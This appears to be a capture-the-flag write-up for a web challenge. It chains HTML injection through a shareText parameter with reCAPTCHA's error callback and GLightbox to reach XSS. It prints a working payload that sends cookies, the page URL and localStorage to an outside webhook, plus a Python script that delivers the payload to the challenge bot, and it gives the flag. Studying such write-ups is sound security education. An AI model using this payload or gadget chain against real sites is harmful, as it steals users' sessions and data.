GPNCTF2026-cookoff

Analysis
The user enters a message and shares a link. The URL has the form:
/?shareText=<message>
When this URL is reopened, the content in shareText is inserted into the DOM via innerHTML. So we can inject HTML into the page.
The page contains two libraries:
Google reCAPTCHA
GLightbox
We can chain these two to trigger XSS.
Exploitation idea
Google reCAPTCHA supports the attribute:
data-error-callback
When the sitekey is invalid, reCAPTCHA calls the function declared in data-error-callback.
Exploitation chain:
shareText injection
- add an input class=glightbox
- put the XSS in data-description
- add a reCAPTCHA with an invalid sitekey
- reCAPTCHA calls data-error-callback="GLightbox"
- GLightbox renders data-description
- the XSS runs
XSS Payload
Payload used to leak the cookie to a webhook:
<input name=vote class=glightbox data-description="<img src=x onerror=fetch(`https://webhook.site/8eafb00c-ff64-4eaa-a987-16bbabf9b1f3?c=${encodeURIComponent(document.cookie)}&u=${encodeURIComponent(location.href)}&ls=${encodeURIComponent(JSON.stringify(localStorage))}`)>">
<div class=g-recaptcha data-sitekey=x data-error-callback=GLightbox></div>
<div class=g-recaptcha data-sitekey=x data-error-callback=random></div>
<div class=g-recaptcha data-sitekey=x data-error-callback=random></div>
<div class=g-recaptcha data-sitekey=x data-error-callback=random></div>
<div class=g-recaptcha data-sitekey=x data-error-callback=random></div>
Here:
data-sitekey=x
makes reCAPTCHA fail.
The important callback is:
data-error-callback=GLightbox
It calls GLightbox() again so the library picks up the .glightbox element that was just injected.
The webhook receives:

So the payload runs successfully.
Sending the payload to the bot
/bot
![]()
The bot only accepts URLs starting with:
http://localhost:1337
So we cannot send a public link like:
https://braised-mozzarella-sticks-nestled-in-torched-soy-foam-03k8.gpn24.ctf.kitctf.de/?shareText=...
It must instead be changed to:
http://localhost:1337/?shareText=...
Exploit in Python
#!/usr/bin/env python3
import requests
import urllib.parse
BASE = "https://braised-mozzarella-sticks-nestled-in-torched-soy-foam-03k8.gpn24.ctf.kitctf.de"
payload = '''<input name=vote class=glightbox data-description="<img src=x onerror=fetch(`https://webhook.site/8eafb00c-ff64-4eaa-a987-16bbabf9b1f3?c=${encodeURIComponent(document.cookie)}`)>">
<div class=g-recaptcha data-sitekey=x data-error-callback=GLightbox></div>
<div class=g-recaptcha data-sitekey=x data-error-callback=random></div>
<div class=g-recaptcha data-sitekey=x data-error-callback=random></div>
<div class=g-recaptcha data-sitekey=x data-error-callback=random></div>
<div class=g-recaptcha data-sitekey=x data-error-callback=random></div>'''
target = "http://localhost:1337/?shareText=" + urllib.parse.quote_plus(payload)
r = requests.get(
BASE + "/bot/run",
params={"url": target},
timeout=30
)
print(r.status_code)
print(r.text)
print(target)
Check the webhook:

Flag
GPNCTF{why_can_recAP7CHa_Do_thAt}